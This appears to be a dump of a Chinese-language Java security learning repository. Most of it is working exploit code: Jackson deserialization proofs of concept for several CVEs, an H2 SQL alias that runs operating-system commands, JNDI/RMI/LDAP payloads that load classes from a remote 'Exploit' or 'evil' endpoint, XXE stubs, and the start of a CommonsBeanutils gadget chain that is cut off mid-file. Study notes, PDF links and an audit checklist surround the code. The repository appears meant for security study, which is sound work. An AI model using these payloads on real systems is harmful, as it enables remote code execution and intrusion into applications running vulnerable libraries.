/Xstream/exp/XXE/CVE-2016-3674.xml:
--------------------------------------------------------------------------------
1 | no find..
--------------------------------------------------------------------------------
/jackson/inject.sql:
--------------------------------------------------------------------------------
1 | CREATE ALIAS SHELLEXEC AS $$ void shellexec(String cmd) throws java.io.IOException {
2 | String[] command = {"cmd", "/c", cmd};
3 | Runtime.getRuntime().exec(command)
4 | }
5 | $$;
6 | CALL SHELLEXEC('calc')
--------------------------------------------------------------------------------
/jackson/jackson.iml:
--------------------------------------------------------------------------------
1 |
2 |
--------------------------------------------------------------------------------
/jackson/src/main/java/com/firebasky/cve/CVE_2019_12086.java:
--------------------------------------------------------------------------------
1 | package com.firebasky.cve;
2 |
3 | import com.fasterxml.jackson.databind.ObjectMapper;
4 |
5 | import java.io.IOException;
6 | import java.sql.SQLException;
7 |
8 | public class CVE_2019_12086 {
9 | //任意文件读取com.fasterxml.jackson.core <2.9.9
10 | public static void main(String[] args) throws SQLException, IOException {
11 | ObjectMapper mapper = new ObjectMapper();
12 | mapper.enableDefaultTyping();
13 | //开启 enableDefaultTyping ,使用构造方法反序列化的方式反序列化 MiniAdmin 类
14 | String json = "[\"com.mysql.cj.jdbc.admin.MiniAdmin\", \"jdbc:mysql://127.0.0.1:3307/?user=flag\"]";
15 | mapper.readValue(json, Object.class);
16 | }
17 | }
18 |
--------------------------------------------------------------------------------
/jackson/src/main/java/com/firebasky/cve/CVE_2019_12384.java:
--------------------------------------------------------------------------------
1 | package com.firebasky.cve;
2 |
3 | import com.fasterxml.jackson.databind.ObjectMapper;
4 | import java.io.IOException;
5 |
6 | public class CVE_2019_12384 {
7 | //H2Rce
8 | public static void main(String[] args) throws IOException {
9 | ObjectMapper objectMapper = new ObjectMapper();
10 | objectMapper.enableDefaultTyping();//开启 defaultTyping
11 | String json = " [\"ch.qos.logback.core.db.DriverManagerConnectionSource\", {\"url\":\"jdbc:h2:file:~/.h2/test;TRACE_LEVEL_SYSTEM_OUT=3;INIT=CALL SHELLEXEC('calc');\"}]";
12 | Object o = objectMapper.readValue(json, Object.class);//反序列化对象
13 | String s = objectMapper.writeValueAsString(o);//
14 |
15 | //"[\"ch.qos.logback.core.db.DriverManagerConnectionSource\", "+"{\"url\":\"jdbc:h2:mem:;TRACE_LEVEL_SYSTEM_OUT=3;INIT=RUNSCRIPT FROM 'http://localhost:8999/inject.sql'\"}]";
16 |
17 | // ["ch.qos.logback.core.db.DriverManagerConnectionSource", {"url":"jdbc:h2:file:~/.h2/test;TRACE_LEVEL_SYSTEM_OUT=3;INIT=CREATE ALIAS SHELLEXEC AS $$ void shellexec(String cmd) throws java.io.IOException { Runtime.getRuntime().exec(cmd)\\; }$$;"}]
18 | //同样使用文件存储模式,执行 CALL 命令调用函数 这样就省去了再去调用远程文件的问题
19 | // ["ch.qos.logback.core.db.DriverManagerConnectionSource", {"url":"jdbc:h2:file:~/.h2/test;TRACE_LEVEL_SYSTEM_OUT=3;INIT=CALL SHELLEXEC('calc');"}]
20 |
21 | }
22 | }
23 |
--------------------------------------------------------------------------------
/jackson/src/main/java/com/firebasky/cve/CVE_2019_12814.java:
--------------------------------------------------------------------------------
1 | package com.firebasky.cve;
2 |
3 | import com.fasterxml.jackson.databind.ObjectMapper;
4 | import org.jdom2.transform.XSLTransformException;
5 | import org.jdom2.transform.XSLTransformer;
6 |
7 | import java.io.IOException;
8 |
9 | public class CVE_2019_12814 {
10 | //JDOM
11 | public static void main(String[] args) throws XSLTransformException {
12 | //XSLTransformer xslTransformer = new XSLTransformer("http://127.0.0.1:8999/hello");
13 | String payload = "[\"org.jdom2.transform.XSLTransformer\", \"http://127.0.0.1:1234/exp.xml\"]";
14 | ObjectMapper mapper = new ObjectMapper();
15 | mapper.enableDefaultTyping();
16 | try {
17 | Object object = mapper.readValue(payload, Object.class);
18 | } catch (IOException e) {
19 | e.printStackTrace();
20 | }
21 | }
22 | /**
23 | * https://www.mi1k7ea.com/2019/11/24/Jackson%E7%B3%BB%E5%88%97%E5%85%AD%E2%80%94%E2%80%94CVE-2019-12814%EF%BC%88%E5%9F%BA%E4%BA%8EJDOM-XSLTransformer%E5%88%A9%E7%94%A8%E9%93%BE%EF%BC%89/
24 | * OWASP推荐的防御XXE的setFeature()要设置下面几个值:
25 | * factory.setFeature("http://apache.org/xml/features/disallow-doctype-decl", true);
26 | * factory.setFeature("http://xml.org/sax/features/external-general-entities", false);
27 | * factory.setFeature("http://xml.org/sax/features/external-parameter-entities", false);
28 | * factory.setFeature("http://apache.org/xml/features/nonvalidating/load-external-dtd", false);
29 | */
30 |
31 | }
32 |
--------------------------------------------------------------------------------
/jackson/src/main/java/com/firebasky/cve/CVE_2019_14439.java:
--------------------------------------------------------------------------------
1 | package com.firebasky.cve;
2 |
3 | import com.fasterxml.jackson.databind.ObjectMapper;
4 |
5 | import java.io.IOException;
6 |
7 | public class CVE_2019_14439 {
8 | public static void main(String[] args) throws IOException {
9 | String json = "[\"ch.qos.logback.core.db.JNDIConnectionSource\",{\"jndiLocation\":\"rmi://127.0.0.1:1088/evil\"}]";
10 | ObjectMapper mapper = new ObjectMapper();
11 | mapper.enableDefaultTyping();
12 | Object o = mapper.readValue(json, Object.class);
13 | mapper.writeValueAsString(o);//调用所有个 get 方法
14 | }
15 | }
16 |
--------------------------------------------------------------------------------
/jackson/src/main/java/com/firebasky/cve/CVE_2020_35490.java:
--------------------------------------------------------------------------------
1 | package com.firebasky.cve;
2 |
3 | import com.fasterxml.jackson.databind.ObjectMapper;
4 |
5 | import java.io.IOException;
6 |
7 | public class CVE_2020_35490 {
8 | public static void main(String[] args) throws IOException {
9 | ObjectMapper mapper = new ObjectMapper();
10 | mapper.enableDefaultTyping();
11 | String payload = "[\"com.nqadmin.rowset.JdbcRowSetImpl\",{\"dataSourceName\":\"ldap://127.0.0.1:1389/Exploit\",\"autoCommit\":\"true\"}]";
12 |
13 | Object o = mapper.readValue(payload, Object.class);
14 | mapper.writeValueAsString(o);
15 | }
16 | }
17 |
--------------------------------------------------------------------------------
/jackson/src/main/java/com/firebasky/cve/CVE_2020_36187.java:
--------------------------------------------------------------------------------
1 | package com.firebasky.cve;
2 |
3 | import com.fasterxml.jackson.databind.ObjectMapper;
4 |
5 | import java.io.IOException;
6 |
7 | public class CVE_2020_36187 {
8 | public static void main(String[] args) throws IOException {
9 | ObjectMapper mapper = new ObjectMapper();
10 | mapper.enableDefaultTyping();
11 | String payload = "[\"com.newrelic.agent.deps.ch.qos.logback.core.db.JNDIConnectionSource\",{\"jndiLocation\":\"ldap://127.0.0.1:1389/Exploit\"}]";
12 | Object o = mapper.readValue(payload, Object.class);
13 | mapper.writeValueAsString(o);
14 | }
15 | }
--------------------------------------------------------------------------------
/jackson/src/main/java/com/firebasky/cve/黑名单.txt:
--------------------------------------------------------------------------------
1 | com.fasterxml.jackson.databind.jsontype.impl.SubTypeValidator
2 |
3 | https://b1ue.cn/archives/189.html
--------------------------------------------------------------------------------
/jackson/src/main/java/com/firebasky/learn/Man.java:
--------------------------------------------------------------------------------
1 | package com.firebasky.learn;
2 |
3 | public class Man {
4 | public int age;
5 | public String name;
6 |
7 | public Man(){
8 | System.out.println("无参数构造方法");
9 | }
10 |
11 | public Man(int age, String name) {
12 | System.out.println("有参数构造方法");
13 | this.age = age;
14 | this.name = name;
15 | }
16 | public int getAge() {
17 | return age;
18 | }
19 | public void setAge(int age) {
20 | this.age = age;
21 | }
22 |
23 | public String getName() {
24 | System.out.println("get方法");
25 | return name;
26 | }
27 |
28 | public void setName(String name) {
29 | System.out.println("set方法");
30 | this.name = name;
31 | }
32 | }
33 |
--------------------------------------------------------------------------------
/jackson/src/main/java/com/firebasky/learn/test.java:
--------------------------------------------------------------------------------
1 | package com.firebasky.learn;
2 |
3 | import com.fasterxml.jackson.annotation.JsonInclude;
4 | import com.fasterxml.jackson.databind.ObjectMapper;
5 |
6 | import java.io.IOException;
7 |
8 | public class test {
9 | public static void main(String[] args) throws IOException {
10 | // 序列化
11 | ObjectMapper objectMapper = new ObjectMapper();
12 | objectMapper.enableDefaultTyping();
13 | Man man = new Man(12, "哈哈");
14 | String jsonString = objectMapper.writeValueAsString(man);//get方法
15 | // 输出
16 | System.out.println(jsonString);
17 | //String poc = "{\"age\":12,\"name\":\"哈哈\"}";
18 | //Object o = objectMapper.readValue(poc,Man.class);//反序列化
19 | //System.out.println(o);
20 | //String s = objectMapper.writeValueAsString(o);//序列化
21 | //System.out.println(s);
22 |
23 | //String jsonResult = "[\"com.firebasky.learn.test_poc\",\"test\"]";
24 | //objectMapper.readValue(jsonResult,Object.class);
25 | }
26 | }
27 |
--------------------------------------------------------------------------------
/jackson/src/main/java/com/firebasky/learn/test_poc.java:
--------------------------------------------------------------------------------
1 | package com.firebasky.learn;
2 |
3 | public class test_poc {
4 | public test_poc(){};
5 | public test_poc(String name){
6 | System.out.println(name);
7 | }
8 | public test_poc(int age){
9 | System.out.println(age);
10 | }
11 | public test_poc(String name,int age){
12 | System.out.println(name+age);
13 | }
14 | }
15 |
--------------------------------------------------------------------------------
/jackson/src/main/java/com/firebasky/self/hikaricp.java:
--------------------------------------------------------------------------------
1 | package com.firebasky.self;
2 |
3 |
4 | import com.fasterxml.jackson.databind.ObjectMapper;
5 |
6 | import java.io.IOException;
7 |
8 | public class hikaricp {
9 | public static void main(String[] args) throws IOException {
10 | String json = "[\"com.zaxxer.hikari.HikariConfig\",{\"metricRegistry\":\"rmi://127.0.0.1:1088/evil\"}]";
11 | ObjectMapper mapper = new ObjectMapper();
12 | mapper.enableDefaultTyping();
13 | Object o = mapper.readValue(json, Object.class);
14 | mapper.writeValueAsString(o);//调用所有个 get 方法
15 | }
16 | /**
17 | * https://curz0n.github.io/2019/09/20/cve-2019-14540/#3-%E5%BD%B1%E5%93%8D%E7%89%88%E6%9C%AC%E4%BF%AE%E5%A4%8D%E5%BB%BA%E8%AE%AE
18 | */
19 | }
20 |
--------------------------------------------------------------------------------
/jackson/target/classes/com/firebasky/cve/CVE_2019_12086.class:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/kezibei/Java/1a85659e2eeb8bfa2ef75f6c27521fce940be32c/jackson/target/classes/com/firebasky/cve/CVE_2019_12086.class
--------------------------------------------------------------------------------
/jackson/target/classes/com/firebasky/cve/CVE_2019_12384.class:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/kezibei/Java/1a85659e2eeb8bfa2ef75f6c27521fce940be32c/jackson/target/classes/com/firebasky/cve/CVE_2019_12384.class
--------------------------------------------------------------------------------
/jackson/target/classes/com/firebasky/cve/CVE_2019_12814.class:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/kezibei/Java/1a85659e2eeb8bfa2ef75f6c27521fce940be32c/jackson/target/classes/com/firebasky/cve/CVE_2019_12814.class
--------------------------------------------------------------------------------
/jackson/target/classes/com/firebasky/cve/CVE_2019_14379.class:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/kezibei/Java/1a85659e2eeb8bfa2ef75f6c27521fce940be32c/jackson/target/classes/com/firebasky/cve/CVE_2019_14379.class
--------------------------------------------------------------------------------
/jackson/target/classes/com/firebasky/cve/CVE_2019_14439.class:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/kezibei/Java/1a85659e2eeb8bfa2ef75f6c27521fce940be32c/jackson/target/classes/com/firebasky/cve/CVE_2019_14439.class
--------------------------------------------------------------------------------
/jackson/target/classes/com/firebasky/cve/CVE_2020_35490.class:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/kezibei/Java/1a85659e2eeb8bfa2ef75f6c27521fce940be32c/jackson/target/classes/com/firebasky/cve/CVE_2020_35490.class
--------------------------------------------------------------------------------
/jackson/target/classes/com/firebasky/cve/CVE_2020_36187.class:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/kezibei/Java/1a85659e2eeb8bfa2ef75f6c27521fce940be32c/jackson/target/classes/com/firebasky/cve/CVE_2020_36187.class
--------------------------------------------------------------------------------
/jackson/target/classes/com/firebasky/learn/Man.class:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/kezibei/Java/1a85659e2eeb8bfa2ef75f6c27521fce940be32c/jackson/target/classes/com/firebasky/learn/Man.class
--------------------------------------------------------------------------------
/jackson/target/classes/com/firebasky/learn/test.class:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/kezibei/Java/1a85659e2eeb8bfa2ef75f6c27521fce940be32c/jackson/target/classes/com/firebasky/learn/test.class
--------------------------------------------------------------------------------
/jackson/target/classes/com/firebasky/learn/test_poc.class:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/kezibei/Java/1a85659e2eeb8bfa2ef75f6c27521fce940be32c/jackson/target/classes/com/firebasky/learn/test_poc.class
--------------------------------------------------------------------------------
/jackson/target/classes/com/firebasky/self/hikaricp.class:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/kezibei/Java/1a85659e2eeb8bfa2ef75f6c27521fce940be32c/jackson/target/classes/com/firebasky/self/hikaricp.class
--------------------------------------------------------------------------------
/jackson/xxe/evil.dtd:
--------------------------------------------------------------------------------
1 | "> %all;
2 |
--------------------------------------------------------------------------------
/jackson/xxe/exp.xml:
--------------------------------------------------------------------------------
1 |
3 |
4 | %remote;
5 | %send;
6 | ]>
--------------------------------------------------------------------------------
/java-web/README.md:
--------------------------------------------------------------------------------
1 | # 关于javaweb的学习
2 |
--------------------------------------------------------------------------------
/java-web/java安全之java-web.pdf:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/kezibei/Java/1a85659e2eeb8bfa2ef75f6c27521fce940be32c/java-web/java安全之java-web.pdf
--------------------------------------------------------------------------------
/java-web/java文件漏洞检查.md:
--------------------------------------------------------------------------------
1 | 在IDEA中的项目中重点搜下如下文件读取的类。
2 |
3 | JDK原始的java.io.FileInputStream、java.io.FileInputStream类;
4 | JDK原始的java.io.RandomAccessFile类;
5 | Apache Commons IO提供的org.apache.commons.io.FileUtils类;
6 | JDK1.7新增的基于NIO非阻塞异步读取文件的java.nio.channels.AsynchronousFileChannel类;
7 | JDK1.7新增的基于NIO读取文件的java.nio.file.Files类。常用方法如:Files.readAllBytes、Files.readAllLines;
8 | java.io.File类的list、listFiles、listRoots、delete方法;
9 | 除此之外,还可以搜索一下FileUtil/FileUtils很有可能用户会封装文件操作的工具类。
10 |
11 | java.io.FileInputStream
12 | java.io.FileInputStream
13 | java.io.FileInputStream
14 | org.apache.commons.io.FileUtils
15 | java.nio.channels.AsynchronousFileChannel
16 | java.nio.file.Files
17 | Files.readAllBytes
18 | Files.readAllLines
19 | list
20 | listFiles
21 | listRoots
22 | delete
23 | FileUtil/FileUtils
24 |
--------------------------------------------------------------------------------
/java内存马/Readme.md:
--------------------------------------------------------------------------------
1 | # java内存马
2 |
3 | + [awd shiro内存木马注入](https://github.com/KpLi0rn/ShiroVulnEnv)
4 |
--------------------------------------------------------------------------------
/java内存马/Tomcat Filter/Readme.md:
--------------------------------------------------------------------------------
1 | # Tomcat Filter
2 |
--------------------------------------------------------------------------------
/java内存马/Tomcat Filter/Tomcat Filter.rar:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/kezibei/Java/1a85659e2eeb8bfa2ef75f6c27521fce940be32c/java内存马/Tomcat Filter/Tomcat Filter.rar
--------------------------------------------------------------------------------
/java内存马/agent/java-agent学习.pdf:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/kezibei/Java/1a85659e2eeb8bfa2ef75f6c27521fce940be32c/java内存马/agent/java-agent学习.pdf
--------------------------------------------------------------------------------
/java回显/HELP.md:
--------------------------------------------------------------------------------
1 | # Getting Started
2 |
3 | ### Reference Documentation
4 |
5 | For further reference, please consider the following sections:
6 |
7 | * [Official Apache Maven documentation](https://maven.apache.org/guides/index.html)
8 | * [Spring Boot Maven Plugin Reference Guide](https://docs.spring.io/spring-boot/docs/2.5.5/maven-plugin/reference/html/)
9 | * [Create an OCI image](https://docs.spring.io/spring-boot/docs/2.5.5/maven-plugin/reference/html/#build-image)
10 | * [Spring Web](https://docs.spring.io/spring-boot/docs/2.5.5/reference/htmlsingle/#boot-features-developing-web-applications)
11 |
12 | ### Guides
13 |
14 | The following guides illustrate how to use some features concretely:
15 |
16 | * [Building a RESTful Web Service](https://spring.io/guides/gs/rest-service/)
17 | * [Serving Web Content with Spring MVC](https://spring.io/guides/gs/serving-web-content/)
18 | * [Building REST services with Spring](https://spring.io/guides/tutorials/bookmarks/)
19 |
20 |
--------------------------------------------------------------------------------
/java回显/pom.xml:
--------------------------------------------------------------------------------
1 |
2 |
4 | 4.0.0
5 |
6 | org.springframework.boot
7 | spring-boot-starter-parent
8 | 2.5.5
9 |
10 |
11 | com.firebasky
12 | echo
13 | 0.0.1-SNAPSHOT
14 | echo
15 | echo for java exec
16 |
17 | 1.8
18 |
19 |
20 |
21 | org.springframework.boot
22 | spring-boot-starter-web
23 |
24 |
25 |
26 | org.springframework.boot
27 | spring-boot-starter-test
28 | test
29 |
30 |
31 |
32 |
33 |
34 |
35 | org.springframework.boot
36 | spring-boot-maven-plugin
37 |
38 |
39 |
40 |
41 |
42 |
--------------------------------------------------------------------------------
/java回显/src/main/java/com/firebasky/echo/EchoApplication.java:
--------------------------------------------------------------------------------
1 | package com.firebasky.echo;
2 |
3 | import org.springframework.boot.SpringApplication;
4 | import org.springframework.boot.autoconfigure.SpringBootApplication;
5 |
6 | @SpringBootApplication
7 | public class EchoApplication {
8 |
9 | public static void main(String[] args) {
10 | SpringApplication.run(EchoApplication.class, args);
11 | }
12 |
13 | }
14 |
--------------------------------------------------------------------------------
/java回显/src/main/java/com/firebasky/echo/controller/demo.java:
--------------------------------------------------------------------------------
1 | package com.firebasky.echo.controller;
2 |
3 | import org.springframework.web.bind.annotation.RequestMapping;
4 | import org.springframework.web.bind.annotation.RestController;
5 |
6 | @RestController
7 | public class demo {
8 | @RequestMapping("/demo")
9 | public void demo() throws InterruptedException {
10 | new Alltomcat();
11 | }
12 | }
13 |
--------------------------------------------------------------------------------
/java回显/src/main/resources/application.properties:
--------------------------------------------------------------------------------
1 |
2 |
--------------------------------------------------------------------------------
/java回显/src/test/java/com/firebasky/echo/EchoApplicationTests.java:
--------------------------------------------------------------------------------
1 | package com.firebasky.echo;
2 |
3 | import org.junit.jupiter.api.Test;
4 | import org.springframework.boot.test.context.SpringBootTest;
5 |
6 | @SpringBootTest
7 | class EchoApplicationTests {
8 |
9 | @Test
10 | void contextLoads() {
11 | }
12 |
13 | }
14 |
--------------------------------------------------------------------------------
/java安全基础/Java class文件格式.pdf:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/kezibei/Java/1a85659e2eeb8bfa2ef75f6c27521fce940be32c/java安全基础/Java class文件格式.pdf
--------------------------------------------------------------------------------
/java安全基础/README.md:
--------------------------------------------------------------------------------
1 | # 介绍java的一些基础
2 |
--------------------------------------------------------------------------------
/java安全基础/java内部类.pdf:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/kezibei/Java/1a85659e2eeb8bfa2ef75f6c27521fce940be32c/java安全基础/java内部类.pdf
--------------------------------------------------------------------------------
/java安全基础/java反射.pdf:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/kezibei/Java/1a85659e2eeb8bfa2ef75f6c27521fce940be32c/java安全基础/java反射.pdf
--------------------------------------------------------------------------------
/java安全基础/java基础.pdf:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/kezibei/Java/1a85659e2eeb8bfa2ef75f6c27521fce940be32c/java安全基础/java基础.pdf
--------------------------------------------------------------------------------
/java小型框架/img/CVE-2019-9615.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/kezibei/Java/1a85659e2eeb8bfa2ef75f6c27521fce940be32c/java小型框架/img/CVE-2019-9615.png
--------------------------------------------------------------------------------
/java小型框架/img/Readme.md:
--------------------------------------------------------------------------------
1 | # 各个cms的流程图
2 |
3 | 可能不全,太不方便做咯
4 |
--------------------------------------------------------------------------------
/java小型框架/java代码审计之租车系统.pdf:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/kezibei/Java/1a85659e2eeb8bfa2ef75f6c27521fce940be32c/java小型框架/java代码审计之租车系统.pdf
--------------------------------------------------------------------------------
/java小型框架/代码审计基础.pdf:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/kezibei/Java/1a85659e2eeb8bfa2ef75f6c27521fce940be32c/java小型框架/代码审计基础.pdf
--------------------------------------------------------------------------------
/java序列化基础/ClassLoader(类加载机制).pdf:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/kezibei/Java/1a85659e2eeb8bfa2ef75f6c27521fce940be32c/java序列化基础/ClassLoader(类加载机制).pdf
--------------------------------------------------------------------------------
/java序列化基础/Java反射机制2.pdf:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/kezibei/Java/1a85659e2eeb8bfa2ef75f6c27521fce940be32c/java序列化基础/Java反射机制2.pdf
--------------------------------------------------------------------------------
/java序列化基础/README.md:
--------------------------------------------------------------------------------
1 | # 介绍java反射和java类加载机制
2 |
--------------------------------------------------------------------------------
/java序列化基础/java反射机制.pdf:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/kezibei/Java/1a85659e2eeb8bfa2ef75f6c27521fce940be32c/java序列化基础/java反射机制.pdf
--------------------------------------------------------------------------------
/java序列化链/Clojure/SerializeUtil.java:
--------------------------------------------------------------------------------
1 | package Tools;
2 |
3 | import java.io.*;
4 |
5 | public class SerializeUtil {
6 |
7 | public static void writeObjectToFile(Object obj,String fileName) throws Exception {
8 | ObjectOutputStream outputStream = new ObjectOutputStream(new FileOutputStream(fileName));
9 | outputStream.writeObject(obj);
10 | outputStream.close();
11 | }
12 | public static void readFileObject(String fileName) throws Exception {
13 | ObjectInputStream ois = new ObjectInputStream(new FileInputStream(fileName));
14 | Object o = ois.readObject();
15 | }
16 | }
17 |
--------------------------------------------------------------------------------
/java序列化链/CommonsBeanutils/CommonsBeanutils1.java:
--------------------------------------------------------------------------------
1 | package CommonsBeanutils;
2 |
3 | import java.util.PriorityQueue;
4 | import Tools.SerializeUtil;
5 | import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
6 | import org.apache.commons.beanutils.BeanComparator;
7 |
8 | public class CommonsBeanutils1 {
9 | public static String fileName = "CommonsBeanutils1.bin";
10 | public static void main(String[] args) throws Exception {
11 | TemplatesImpl tmpl = SerializeUtil.generateTemplatesImpl();
12 | //Collections.reverseOrder()
13 | //final BeanComparator comparator = new BeanComparator(null, Collections.reverseOrder());
14 | final BeanComparator comparator = new BeanComparator(null, String.CASE_INSENSITIVE_ORDER);
15 | final PriorityQueue